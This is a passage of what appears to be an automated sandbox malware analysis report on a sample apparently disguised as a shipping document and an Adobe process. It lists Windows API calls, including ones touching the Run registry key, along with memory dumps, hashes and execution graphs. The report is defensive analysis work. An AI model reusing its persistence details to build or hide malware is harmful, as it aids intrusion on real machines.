                                                                                        • Opcode Fuzzy Hash: b05ab0c9b3baa3f524da702d8fc1cd1898caf97046da089980d037e9e657a158
                                                                                        • Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D
                                                                                        Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,0040D4CE,00000000,?,00000000), ref: 00413A31
                                                                                        • RegDeleteValueW.ADVAPI32(?,?,?,00000000), ref: 00413A45
                                                                                        Strings
                                                                                        • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: DeleteOpenValue
                                                                                        • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                        • API String ID: 2654517830-1051519024
                                                                                        • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                                                                        • Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
                                                                                        • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                                                                        • Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668
                                                                                        Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
                                                                                        • GetLastError.KERNEL32 ref: 00440D35
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide$ErrorLast
                                                                                        • String ID:
                                                                                        • API String ID: 1717984340-0
                                                                                        • Opcode ID: a909a75f279edaa9992fcfd87f44a9f238bfc46e7277e37c8624290a99980dba
                                                                                        • Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
                                                                                        • Opcode Fuzzy Hash: a909a75f279edaa9992fcfd87f44a9f238bfc46e7277e37c8624290a99980dba
                                                                                        • Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759
                                                                                        Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • IsBadReadPtr.KERNEL32(?,00000014), ref: 00411B8C
                                                                                        • IsBadReadPtr.KERNEL32(?,00000014), ref: 00411C58
                                                                                        • SetLastError.KERNEL32(0000007F), ref: 00411C7A
                                                                                        • SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLastRead
                                                                                        • String ID:
                                                                                        • API String ID: 4100373531-0
                                                                                        • Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                                                                                        • Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
                                                                                        • Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                                                                                        • Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99

                                                                                        Execution Graph

                                                                                        Execution Coverage:8.7%
                                                                                        Dynamic/Decrypted Code Coverage:100%
                                                                                        Signature Coverage:0%
                                                                                        Total number of Nodes:78
                                                                                        Total number of Limit Nodes:2
                                                                                        execution_graph 15509 cb4668 15510 cb4684 15509->15510 15511 cb46a4 15510->15511 15515 cb4838 15510->15515 15520 cb43e8 15511->15520 15513 cb46c3 15516 cb485d 15515->15516 15524 cb4948 15516->15524 15528 cb4937 15516->15528 15521 cb43f3 15520->15521 15536 cb5a80 15521->15536 15523 cb7234 15523->15513 15526 cb496f 15524->15526 15525 cb4a4c 15526->15525 15532 cb4544 15526->15532 15530 cb4948 15528->15530 15529 cb4a4c 15530->15529 15531 cb4544 CreateActCtxA 15530->15531 15531->15529 15533 cb5dd8 CreateActCtxA 15532->15533 15535 cb5e9b 15533->15535 15537 cb5a8b 15536->15537 15540 cb5aa0 15537->15540 15539 cb73b5 15539->15523 15541 cb5aab 15540->15541 15544 cb5ad0 15541->15544 15543 cb749a 15543->15539 15545 cb5adb 15544->15545 15548 cb5b00 15545->15548 15547 cb758d 15547->15543 15549 cb5b0b 15548->15549 15551 cb8aeb 15549->15551 15555 cbad90 15549->15555 15550 cb8b29 15550->15547 15551->15550 15560 cbce90 15551->15560 15565 cbce80 15551->15565 15556 cbad95 15555->15556 15570 cbb1d0 15556->15570 15573 cbb170 15556->15573 15557 cbada6 15557->15551 15561 cbceb1 15560->15561 15562 cbced5 15561->15562 15582 cbd448 15561->15582 15586 cbd438 15561->15586 15562->15550 15567 cbce90 15565->15567 15566 cbced5 15566->15550 15567->15566 15568 cbd448 GetModuleHandleW 15567->15568 15569 cbd438 GetModuleHandleW 15567->15569 15568->15566 15569->15566 15577 cbb2b7 15570->15577 15571 cbb1df 15571->15557 15574 cbb175 15573->15574 15576 cbb2b7 GetModuleHandleW 15574->15576 15575 cbb1df 15575->15557 15576->15575 15578 cbb2fc 15577->15578 15579 cbb2d9 15577->15579 15578->15571 15579->15578 15580 cbb500 GetModuleHandleW 15579->15580 15581 cbb52d 15580->15581 15581->15571 15583 cbd455 15582->15583 15584 cbd48f 15583->15584 15590 cbd240 15583->15590 15584->15562 15587 cbd448 15586->15587 15588 cbd240 GetModuleHandleW 15587->15588 15589 cbd48f 15587->15589 15588->15589 15589->15562 15591 cbd24b 15590->15591 15593 cbdda0 15591->15593 15594 cbd36c 15591->15594 15593->15593 15595 cbd377 15594->15595 15596 cb5b00 GetModuleHandleW 15595->15596 15597 cbde0f 15596->15597 15597->15593 15598 cbd560 15599 cbd5a6 15598->15599 15603 cbd740 15599->15603 15606 cbd730 15599->15606 15600 cbd693 15609 cbd308 15603->15609 15607 cbd76e 15606->15607 15608 cbd308 DuplicateHandle 15606->15608 15607->15600 15608->15607 15610 cbd7a8 DuplicateHandle 15609->15610 15611 cbd76e 15610->15611 15611->15600

                                                                                        Executed Functions

                                                                                        Function 00CBB2B7 Relevance: 1.7, APIs: 1, Instructions: 204COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 338 cbb2b7-cbb2d7 339 cbb2d9-cbb2e6 call cb9d40 338->339 340 cbb303-cbb307 338->340 347 cbb2e8 339->347 348 cbb2fc 339->348 342 cbb31b-cbb35c 340->342 343 cbb309-cbb313 340->343 349 cbb369-cbb377 342->349 350 cbb35e-cbb366 342->350 343->342 393 cbb2ee call cbb550 347->393 394 cbb2ee call cbb560 347->394 348->340 351 cbb39b-cbb39d 349->351 352 cbb379-cbb37e 349->352 350->349 357 cbb3a0-cbb3a7 351->357 354 cbb389 352->354 355 cbb380-cbb387 call cbaf58 352->355 353 cbb2f4-cbb2f6 353->348 356 cbb438-cbb4f8 353->356 361 cbb38b-cbb399 354->361 355->361 388 cbb4fa-cbb4fd 356->388 389 cbb500-cbb52b GetModuleHandleW 356->389 358 cbb3a9-cbb3b1 357->358 359 cbb3b4-cbb3bb 357->359 358->359 362 cbb3c8-cbb3d1 call cbaf68 359->362 363 cbb3bd-cbb3c5 359->363 361->357 369 cbb3de-cbb3e3 362->369 370 cbb3d3-cbb3db 362->370 363->362 371 cbb401-cbb405 369->371 372 cbb3e5-cbb3ec 369->372 370->369 395 cbb408 call cbb852 371->395 396 cbb408 call cbb860 371->396 372->371 374 cbb3ee-cbb3fe call cbaf78 call cbaf88 372->374 374->371 375 cbb40b-cbb40e 378 cbb431-cbb437 375->378 379 cbb410-cbb42e 375->379 379->378 388->389 390 cbb52d-cbb533 389->390 391 cbb534-cbb548 389->391 390->391 393->353 394->353 395->375 396->375
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNELBASE(00000000), ref: 00CBB51E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058624903.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_cb0000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: HandleModule
                                                                                        • String ID:
                                                                                        • API String ID: 4139908857-0
                                                                                        • Opcode ID: 88e31b8178cb6dba10757b29acfb4e18e4929e3993b6e9b30ec2f3d2decd1384
                                                                                        • Instruction ID: 81623a7b89dead4d8771e5c39703dc22b7a26dc5efa3da3cbe9d657fcc912076
                                                                                        • Opcode Fuzzy Hash: 88e31b8178cb6dba10757b29acfb4e18e4929e3993b6e9b30ec2f3d2decd1384
                                                                                        • Instruction Fuzzy Hash: A8814670A00B058FD724DF69D0417AABBF5FF88300F008A2ED09AD7A51DB79E949CB91
                                                                                        Function 00CB5DCC Relevance: 1.6, APIs: 1, Instructions: 101COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 397 cb5dcc-cb5dd6 398 cb5dd8-cb5e99 CreateActCtxA 397->398 400 cb5e9b-cb5ea1 398->400 401 cb5ea2-cb5efc 398->401 400->401 408 cb5f0b-cb5f0f 401->408 409 cb5efe-cb5f01 401->409 410 cb5f11-cb5f1d 408->410 411 cb5f20 408->411 409->408 410->411 412 cb5f21 411->412 412->412
                                                                                        APIs
                                                                                        • CreateActCtxA.KERNEL32(?), ref: 00CB5E89
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058624903.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_cb0000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Create
                                                                                        • String ID:
                                                                                        • API String ID: 2289755597-0
                                                                                        • Opcode ID: 49d5ee77b583246f63fd16bcfd8965e7f7123e15a3ea78ac35ca575ff3fce057
                                                                                        • Instruction ID: 682383574e72c7294444afd68822b1b07cb1ec6ae97bb6465a26b3e4dfda7a62
                                                                                        • Opcode Fuzzy Hash: 49d5ee77b583246f63fd16bcfd8965e7f7123e15a3ea78ac35ca575ff3fce057
                                                                                        • Instruction Fuzzy Hash: 244101B0C00719CFDB24CFA9C844BDEBBB5BF49704F20806AD418AB255DB76A946CF91
                                                                                        Function 00CB4544 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 414 cb4544-cb5e99 CreateActCtxA 417 cb5e9b-cb5ea1 414->417 418 cb5ea2-cb5efc 414->418 417->418 425 cb5f0b-cb5f0f 418->425 426 cb5efe-cb5f01 418->426 427 cb5f11-cb5f1d 425->427 428 cb5f20 425->428 426->425 427->428 429 cb5f21 428->429 429->429
                                                                                        APIs
                                                                                        • CreateActCtxA.KERNEL32(?), ref: 00CB5E89
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058624903.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_cb0000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Create
                                                                                        • String ID:
                                                                                        • API String ID: 2289755597-0
                                                                                        • Opcode ID: 64f225615a993f28e385e59b4e25a54e0f6a4aad77a80a85388bc938bd19727c
                                                                                        • Instruction ID: 84d9ce4057abe58048bc4077a19029f3bfa3128fb65140431b0ecf3de3f46462
                                                                                        • Opcode Fuzzy Hash: 64f225615a993f28e385e59b4e25a54e0f6a4aad77a80a85388bc938bd19727c
                                                                                        • Instruction Fuzzy Hash: 2241F0B0C00B19CFDB24CFA9C844BDEBBB5BF48304F20806AD418AB255DB756946CF90
                                                                                        Function 00CBD308 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 431 cbd308-cbd83c DuplicateHandle 433 cbd83e-cbd844 431->433 434 cbd845-cbd862 431->434 433->434
                                                                                        APIs
                                                                                        • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00CBD76E,?,?,?,?,?), ref: 00CBD82F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058624903.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_cb0000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: DuplicateHandle
                                                                                        • String ID:
                                                                                        • API String ID: 3793708945-0
                                                                                        • Opcode ID: ac5b0e744488bc56b5e4868dfa71b5ef52ebe05f8c8692ef3818f78a78361aca
                                                                                        • Instruction ID: 2e4324befb116e0d53db4c767c9ca4fb8c8ee7e250c39b6f516ad6fbb17a45f0
                                                                                        • Opcode Fuzzy Hash: ac5b0e744488bc56b5e4868dfa71b5ef52ebe05f8c8692ef3818f78a78361aca
                                                                                        • Instruction Fuzzy Hash: D521E4B59002489FDB10CFAAD584AEEFFF9FB48310F14805AE919A3350D379A940DFA0
                                                                                        Function 00CBD7A0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 437 cbd7a0-cbd83c DuplicateHandle 438 cbd83e-cbd844 437->438 439 cbd845-cbd862 437->439 438->439
                                                                                        APIs
                                                                                        • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00CBD76E,?,?,?,?,?), ref: 00CBD82F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058624903.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_cb0000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: DuplicateHandle
                                                                                        • String ID:
                                                                                        • API String ID: 3793708945-0
                                                                                        • Opcode ID: 3f806454cd1c416a316508931533357ca3920e1911ae8c43fba8689b37fb90fe
                                                                                        • Instruction ID: 660a1823463ebd9defa6b910efabf1ed9ca290fb695c70df8f80ba711f490667
                                                                                        • Opcode Fuzzy Hash: 3f806454cd1c416a316508931533357ca3920e1911ae8c43fba8689b37fb90fe
                                                                                        • Instruction Fuzzy Hash: 1221B3B59002489FDB10CF99D584AEEBBF5FB48320F14845AE919A7350D379A954CFA0
                                                                                        Function 00CBB4B8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 442 cbb4b8-cbb4f8 443 cbb4fa-cbb4fd 442->443 444 cbb500-cbb52b GetModuleHandleW 442->444 443->444 445 cbb52d-cbb533 444->445 446 cbb534-cbb548 444->446 445->446
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNELBASE(00000000), ref: 00CBB51E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058624903.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_cb0000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: HandleModule
                                                                                        • String ID:
                                                                                        • API String ID: 4139908857-0
                                                                                        • Opcode ID: 8d3699bf7e5ee4b65c74aceaaca4f22f61c331514489e3f682f13b051c28727d
                                                                                        • Instruction ID: 814479027c96a04b57a8a51827dd164401a9343ff36ef6f7dea17a389907186f
                                                                                        • Opcode Fuzzy Hash: 8d3699bf7e5ee4b65c74aceaaca4f22f61c331514489e3f682f13b051c28727d
                                                                                        • Instruction Fuzzy Hash: 0511F2B5C007498FCB20DF9AD444ADEFBF9EF88314F14845AD429A7210D3B9AA45CFA1
                                                                                        Function 00B3D1D4 Relevance: .1, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058368557.0000000000B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B3D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_b3d000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: b006fbff36d530a07d5e9204de52a2b98652bbce363bba2191ed4b3173b8b30d
                                                                                        • Instruction ID: f517f819bc8979f3348d72767c6110859dc1bb3bd77d8275627893ca9e5dbda8
                                                                                        • Opcode Fuzzy Hash: b006fbff36d530a07d5e9204de52a2b98652bbce363bba2191ed4b3173b8b30d
                                                                                        • Instruction Fuzzy Hash: 37210471604204EFDB05DF24E9C0F26BBA5FB88314F30C5ADE9494B296C33AD806CA61
                                                                                        Function 00B3D01C Relevance: .1, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058368557.0000000000B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B3D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_b3d000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 3e5cf01f2c043d403df04b1e0bb427016b697b5532a169f83d89229a9c5c6519
                                                                                        • Instruction ID: 912e91cbffcc9069412d32e22f332becaa0446460327ab1049ccad2fab579cb2
                                                                                        • Opcode Fuzzy Hash: 3e5cf01f2c043d403df04b1e0bb427016b697b5532a169f83d89229a9c5c6519
                                                                                        • Instruction Fuzzy Hash: 4921F271604204DFCB18DF24E9D4B26BFA5FB88714F30C5ADE94A4B296C33AD807CA61
                                                                                        Function 00B3D006 Relevance: .1, Instructions: 63COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058368557.0000000000B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B3D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_b3d000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 13520499a875268fc3089f47d94e45dee147c9be243e5ccf1c6e0b501d794d42
                                                                                        • Instruction ID: 98df7b5d41354e92dba931d8824dbfba4fc555386127362c8322ebeac4f8fc29
                                                                                        • Opcode Fuzzy Hash: 13520499a875268fc3089f47d94e45dee147c9be243e5ccf1c6e0b501d794d42
                                                                                        • Instruction Fuzzy Hash: D12192755083809FCB06CF24D994B11BFB1FB56314F28C5DAD8498F2A7C33A980ACB62
                                                                                        Function 00B3D1CF Relevance: .1, Instructions: 53COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058368557.0000000000B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B3D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_b3d000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
                                                                                        • Instruction ID: 9ad6e72ead4873600ec0307060baf24afcb5b799a6b430846f359dd21f403923
                                                                                        • Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
                                                                                        • Instruction Fuzzy Hash: AB118B75504280DFDB16CF14D9C4B16BBA1FB84314F24C6A9D8494B696C33AD85ACB62
                                                                                        Function 00B2D731 Relevance: .0, Instructions: 45COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058314340.0000000000B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B2D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_b2d000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 773c6518e4c033d1d198c82d861ac0860ad679ee1565431ad4c60a866bdd1a86
                                                                                        • Instruction ID: 4729769e36059d8744bdb5308baabdca625364f500791169c4073386e2550faf
                                                                                        • Opcode Fuzzy Hash: 773c6518e4c033d1d198c82d861ac0860ad679ee1565431ad4c60a866bdd1a86
                                                                                        • Instruction Fuzzy Hash: 4C012B311043549AE7108B25DDC4BA7FFDCEF45320F28C8AAED0C4A2A2C23D9C00D6B1
                                                                                        Function 00B2D730 Relevance: .0, Instructions: 36COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000004.00000002.2058314340.0000000000B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B2D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_4_2_b2d000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 326da712ec5d2d71111dbf7f624036c6ccf47958545564e924d1005baff238df
                                                                                        • Instruction ID: 8a8cd3a47e4012e6a1df9b5ccb91432f2a43221f76928f017191940123189364
                                                                                        • Opcode Fuzzy Hash: 326da712ec5d2d71111dbf7f624036c6ccf47958545564e924d1005baff238df
                                                                                        • Instruction Fuzzy Hash: A0F0C2710043549AE7108B16DC84BA2FFE8EF91334F18C49AED0C4A292C2799C40CA70

                                                                                        Execution Graph

                                                                                        Execution Coverage:2.6%
                                                                                        Dynamic/Decrypted Code Coverage:100%
                                                                                        Signature Coverage:0%
                                                                                        Total number of Nodes:1668
                                                                                        Total number of Limit Nodes:5
                                                                                        execution_graph 6510 10008640 6513 10008657 6510->6513 6514 10008665 6513->6514 6515 10008679 6513->6515 6518 10006368 _free 20 API calls 6514->6518 6516 10008681 6515->6516 6517 10008693 6515->6517 6520 10006368 _free 20 API calls 6516->6520 6524 10008652 6517->6524 6526 100054a7 6517->6526 6519 1000866a 6518->6519 6521 100062ac _abort 26 API calls 6519->6521 6522 10008686 6520->6522 6521->6524 6525 100062ac _abort 26 API calls 6522->6525 6525->6524 6527 100054ba 6526->6527 6528 100054c4 6526->6528 6527->6524 6528->6527 6529 10005af6 _abort 38 API calls 6528->6529 6530 100054e5 6529->6530 6534 10007a00 6530->6534 6535 10007a13 6534->6535 6536 100054fe 6534->6536 6535->6536 6542 10007f0f 6535->6542 6538 10007a2d 6536->6538 6539 10007a40 6538->6539 6540 10007a55 6538->6540 6539->6540 6677 10006d7e 6539->6677 6540->6527 6543 10007f1b ___DestructExceptionObject 6542->6543 6544 10005af6 _abort 38 API calls 6543->6544 6545 10007f24 6544->6545 6546 10007f72 _abort 6545->6546 6554 10005671 RtlEnterCriticalSection 6545->6554 6546->6536 6548 10007f42 6555 10007f86 6548->6555 6553 100055a8 _abort 38 API calls 6553->6546 6554->6548 6556 10007f56 6555->6556 6557 10007f94 __fassign 6555->6557 6559 10007f75 6556->6559 6557->6556 6562 10007cc2 6557->6562 6676 100056b9 RtlLeaveCriticalSection 6559->6676 6561 10007f69 6561->6546 6561->6553 6563 10007d42 6562->6563 6566 10007cd8 6562->6566 6564 10007d90 6563->6564 6567 1000571e _free 20 API calls 6563->6567 6630 10007e35 6564->6630 6566->6563 6568 10007d0b 6566->6568 6573 1000571e _free 20 API calls 6566->6573 6569 10007d64 6567->6569 6570 10007d2d 6568->6570 6575 1000571e _free 20 API calls 6568->6575 6571 1000571e _free 20 API calls 6569->6571 6572 1000571e _free 20 API calls 6570->6572 6574 10007d77 6571->6574 6577 10007d37 6572->6577 6579 10007d00 6573->6579 6576 1000571e _free 20 API calls 6574->6576 6581 10007d22 6575->6581 6582 10007d85 6576->6582 6583 1000571e _free 20 API calls 6577->6583 6578 10007dfe 6584 1000571e _free 20 API calls 6578->6584 6590 100090ba 6579->6590 6580 10007d9e 6580->6578 6588 1000571e 20 API calls _free 6580->6588 6618 100091b8 6581->6618 6587 1000571e _free 20 API calls 6582->6587 6583->6563 6589 10007e04 6584->6589 6587->6564 6588->6580 6589->6556 6591 100090cb 6590->6591 6617 100091b4 6590->6617 6592 100090dc 6591->6592 6593 1000571e _free 20 API calls 6591->6593 6594 100090ee 6592->6594 6596 1000571e _free 20 API calls 6592->6596 6593->6592 6595 10009100 6594->6595 6597 1000571e _free 20 API calls 6594->6597 6598 10009112 6595->6598 6599 1000571e _free 20 API calls 6595->6599 6596->6594 6597->6595 6600 10009124 6598->6600 6601 1000571e _free 20 API calls 6598->6601 6599->6598 6602 10009136 6600->6602 6604 1000571e _free 20 API calls 6600->6604 6601->6600 6603 10009148 6602->6603 6605 1000571e _free 20 API calls 6602->6605 6606 1000915a 6603->6606 6607 1000571e _free 20 API calls 6603->6607 6604->6602 6605->6603 6608 1000571e _free 20 API calls 6606->6608 6611 1000916c 6606->6611 6607->6606 6608->6611 6609 10009190 6614 100091a2 6609->6614 6615 1000571e _free 20 API calls 6609->6615 6610 1000917e 6610->6609 6613 1000571e _free 20 API calls 6610->6613 6611->6610 6612 1000571e _free 20 API calls 6611->6612 6612->6610 6613->6609 6616 1000571e _free 20 API calls 6614->6616 6614->6617 6615->6614 6616->6617 6617->6568 6619 100091c5 6618->6619 6629 1000921d 6618->6629 6620 1000571e _free 20 API calls 6619->6620 6621 100091d5 6619->6621 6620->6621 6622 100091e7 6621->6622 6623 1000571e _free 20 API calls 6621->6623 6624 100091f9 6622->6624 6626 1000571e _free 20 API calls 6622->6626 6623->6622 6625 1000920b 6624->6625 6627 1000571e _free 20 API calls 6624->6627 6628 1000571e _free 20 API calls 6625->6628 6625->6629 6626->6624 6627->6625 6628->6629 6629->6570 6631 10007e60 6630->6631 6632 10007e42 6630->6632 6631->6580 6632->6631 6636 1000925d 6632->6636 6635 1000571e _free 20 API calls 6635->6631 6637 10007e5a 6636->6637 6638 1000926e 6636->6638 6637->6635 6672 10009221 6638->6672 6641 10009221 __fassign 20 API calls 6642 10009281 6641->6642 6643 10009221 __fassign 20 API calls 6642->6643 6644 1000928c 6643->6644 6645 10009221 __fassign 20 API calls 6644->6645 6646 10009297 6645->6646 6647 10009221 __fassign 20 API calls 6646->6647 6648 100092a5 6647->6648 6649 1000571e _free 20 API calls 6648->6649 6650 100092b0 6649->6650 6651 1000571e _free 20 API calls 6650->6651 6652 100092bb 6651->6652 6653 1000571e _free 20 API calls 6652->6653 6654 100092c6 6653->6654 6655 10009221 __fassign 20 API calls 6654->6655 6656 100092d4 6655->6656 6657 10009221 __fassign 20 API calls 6656->6657 6658 100092e2 6657->6658 6659 10009221 __fassign 20 API calls 6658->6659 6660 100092f3 6659->6660 6661 10009221 __fassign 20 API calls 6660->6661 6662 10009301 6661->6662 6663 10009221 __fassign 20 API calls 6662->6663 6664 1000930f 6663->6664 6665 1000571e _free 20 API calls 6664->6665 6666 1000931a 6665->6666 6667 1000571e _free 20 API calls 6666->6667 6668 10009325 6667->6668 6669 1000571e _free 20 API calls 6668->6669 6670 10009330 6669->6670 6671 1000571e _free 20 API calls 6670->6671 6671->6637 6673 10009258 6672->6673 6674 10009248 6672->6674 6673->6641 6674->6673 6675 1000571e _free 20 API calls 6674->6675 6675->6674 6676->6561 6678 10006d8a ___DestructExceptionObject 6677->6678 6679 10005af6 _abort 38 API calls 6678->6679 6681 10006d94 6679->6681 6682 10006e18 _abort 6681->6682 6683 100055a8 _abort 38 API calls 6681->6683 6685 1000571e _free 20 API calls 6681->6685 6686 10005671 RtlEnterCriticalSection 6681->6686 6687 